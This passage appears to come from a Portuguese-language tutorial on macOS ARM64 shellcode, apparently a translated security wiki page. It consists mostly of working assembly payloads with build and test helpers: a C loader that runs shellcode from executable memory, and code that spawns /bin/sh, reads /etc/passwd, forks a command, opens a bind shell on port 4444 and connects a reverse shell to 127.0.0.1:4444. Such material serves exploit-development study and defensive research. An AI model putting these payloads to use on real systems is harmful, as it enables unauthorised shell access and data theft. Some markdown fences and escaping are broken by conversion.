(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
```
### Shellcodes
Para compilar:
```bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
```
Para extrair os bytes:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
```
Código C para testar o shellcode
\`\`\`c // code from https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
int (\*sc)();
char shellcode\[] = "";
int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
printf("\[>] Trying to execute shellcode...\n");
sc = ptr; sc();
return 0; }
````
#### Shell
Retirado [**aqui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e explicado.
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
````
\`\`\`armasm .section \_\_TEXT,\_\_text ; This directive tells the assembler to place the following code in the \_\_text section of the \_\_TEXT segment. .global \_main ; This makes the \_main label globally visible, so that the linker can find it as the entry point of the program. .align 2 ; This directive tells the assembler to align the start of the \_main function to the next 4-byte boundary (2^2 = 4).
\_main: ; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'. movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'. movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'. movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, \[sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8. sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack. mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve. mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16. svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
````
#### Ler com cat
O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (o que na memória significa uma pilha de endereços).
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
````
**Invocar comando com sh a partir de um fork para que o processo principal não seja encerrado**
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
```
**Shell de ligação**
Shell de ligação em [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) na **porta 4444**
```armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
```
**Shell reverso**
De [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell para **127.0.0.1:4444**
```armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
```
.png)
.png)
.png)